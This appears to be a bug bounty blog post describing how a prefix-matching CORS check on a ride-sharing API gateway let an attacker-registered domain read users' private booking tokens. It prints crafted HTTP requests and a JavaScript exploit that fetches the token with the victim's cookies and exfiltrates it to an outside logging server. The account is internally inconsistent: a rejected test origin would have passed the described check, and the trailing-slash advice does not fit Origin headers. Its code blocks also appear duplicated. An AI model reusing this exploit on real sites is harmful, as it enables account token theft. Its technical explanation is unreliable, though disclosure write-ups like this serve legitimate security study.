June 28, 2026
How a Flawed CORS Policy on an API Gateway Led to a $13,000 Private Token Leak
Cross-Origin Resource Sharing (CORS) is a browser security mechanism designed to break down the strict walls of the Same-Origin Policy…

By Tanvi Chauhan
3 min read
Cross-Origin Resource Sharing (CORS) is a browser security mechanism designed to break down the strict walls of the Same-Origin Policy (SOP). It allows trusted external domains to make requests to an API and read the responses.
To keep things secure, developers are supposed to explicitly whitelist trusted origins. However, when an enterprise scales to hundreds of microservices, managing a static whitelist becomes an operational headache. To get around this, developers sometimes write dynamic origin-matching logic. And when that logic relies on loose string evaluation, browser security protections completely break down.
This is the story of how a leading global ride-sharing platform — let's call them MetroRide — exposed their internal authentication architecture to any website on the internet, resulting in a $13,000 bug bounty reward.
The Target: The User Profile Endpoint
MetroRide split its infrastructure into multiple front-end applications (metroride.com, metroride-driver.com) all communicating with a central backend API gateway (api.metroride.com).
When a user opens their profile dashboard, the front-end sends an asynchronous JavaScript (fetch) request to the API gateway to pull account information, including a private access token used to authenticate ride bookings.
Because the front-end domain and the API domain are different origins, the browser checks the API's response headers for CORS permissions:
HTTP
GET /api/v1/profile/tokens HTTP/1.1
Host: api.metroride.com
Origin: https://www.metroride.com
Cookie: session_id=abc123xyz...GET /api/v1/profile/tokens HTTP/1.1
Host: api.metroride.com
Origin: https://www.metroride.com
Cookie: session_id=abc123xyz...If the server trusts the origin, it responds with two crucial headers:
HTTP
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.metroride.com
Access-Control-Allow-Credentials: trueHTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.metroride.com
Access-Control-Allow-Credentials: trueThe Access-Control-Allow-Credentials: true header tells the browser that it's safe to let JavaScript read the response, even though the request carried sensitive session cookies.
The Footprint: Probing the Origin Reflection
A common shortcut developers take when implementing dynamic CORS policies is checking whether the incoming Origin header contains their domain name.
I decided to test how the gateway handled arbitrary origins by manipulating the Origin header in Burp Suite.
- Test 1:
Origin: ``[https://attacker.com](https://attacker.com) - Result: The server responded normally, but did not return the
Access-Control-Allow-Originheader. Secure. - Test 2:
Origin: ``[https://www.metroride.com.attacker.com](https://www.metroride.com.attacker.com) - Result: No CORS headers. Secure.
The regular expression or string-matching function wasn't completely naive. It wasn't just checking if the string ended with metroride.com.
But what if the validation logic was checking if the string started with the legitimate domain name?
The Twist: The Missing Suffix Anchor
I modified the request again, this time placing the attacker-controlled domain immediately after the valid domain name, separated by nothing but a hyphen:
HTTP
GET /api/v1/profile/tokens HTTP/1.1
Host: api.metroride.com
Origin: https://www.metroride.com-attacker.com
Cookie: session_id=abc123xyz...GET /api/v1/profile/tokens HTTP/1.1
Host: api.metroride.com
Origin: https://www.metroride.com-attacker.com
Cookie: session_id=abc123xyz...I forwarded the request and analyzed the response headers:
HTTP
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.metroride.com-attacker.com
Access-Control-Allow-Credentials: true
Vary: OriginHTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.metroride.com-attacker.com
Access-Control-Allow-Credentials: true
Vary: OriginThe gateway blinked. It reflected my malicious origin perfectly and approved credential sharing.
The validation engine likely used a loose prefix-matching implementation, looking something like this:
JavaScript
if (origin.startsWith("https://www.metroride.com")) {
allowCrossOrigin(origin);
}if (origin.startsWith("https://www.metroride.com")) {
allowCrossOrigin(origin);
}Because the string https://www.metroride.com-attacker.com technically starts with https://www.metroride.com, the validation check returned true. The developers forgot to anchor the string check with a trailing forward slash (/) or enforce strict domain boundaries, allowing an entirely separate domain registration to inherit full trust.
The Exploit: The One-Click Token Stealer
To weaponize this, I registered the domain www.metroride.com-attacker.com and hosted a simple, malicious JavaScript payload on the root index page.
The exploit workflow operated silently in the background:
- A logged-in MetroRide user is tricked into visiting my malicious domain (via a phishing link or an ad redirect).
- The malicious page executes an asynchronous request targeting the sensitive token API endpoint.
- Because
Access-Control-Allow-Credentialsis set totrue, the victim's browser automatically includes their active MetroRide session cookies. - The API gateway sees the origin
https://www.metroride.com-attacker.com, validates it via the flawed prefix check, and returns the private data along with the permissive CORS headers. - The victim's browser allows my script to read the raw HTTP response body.
- The script extracts the private booking access token and exfiltrates it to my logging server.
JavaScript
// Malicious script running on https://www.metroride.com-attacker.com
fetch('https://api.metroride.com/api/v1/profile/tokens', { credentials: 'include' })
.then(response => response.json())
.then(data => {
// Exfiltrate the stolen access token to the attacker
fetch('https://logging-server.com/log?token=' + data.private_booking_token);
});// Malicious script running on https://www.metroride.com-attacker.com
fetch('https://api.metroride.com/api/v1/profile/tokens', { credentials: 'include' })
.then(response => response.json())
.then(data => {
// Exfiltrate the stolen access token to the attacker
fetch('https://logging-server.com/log?token=' + data.private_booking_token);
});Within a fraction of a second after a victim landed on the page, their core account token was stolen without breaking a single password or session cookie.
The Remediation and Payout
I set up a local verification environment to confirm the exploit script functioned reliably without cross-origin blocks, collected the logging outputs, and filed a report through MetroRide's HackerOne program.
- Submission: Sunday, 1:15 PM
- Triaged as High/Critical: Monday, 10:00 AM
- Patch Verified: Monday, 4:30 PM
- Bounty Awarded: $13,000
MetroRide immediately corrected the vulnerability by refactoring the CORS configuration on the API gateway. They swapped out the dynamic string-matching function entirely, replacing it with a strict, absolute whitelist array. If the incoming origin does not precisely match an entry in the static list down to the trailing slash, the gateway refuses to reflect the origin or grant credentialed access.
Core Lessons
- For Developers: Avoid building custom string-parsing rules or loose regular expressions to validate origins dynamically. If you must use dynamic origin reflection, make sure you append a trailing slash to your boundary checks (e.g.,
https://www.example.com/) to prevent attackers from registering domains using hyphens or special characters to slide past your prefix filters. Better yet, stick to a strict, non-dynamic origin whitelist. - For Bug Hunters: Testing CORS is all about checking edge cases in string validation. Don't just test basic origin reflection; try pre-fix variations (
domain-attacker.com), subdomains (attacker.domain.com), or null bytes to see exactly where the server-side validator stops parsing the host string.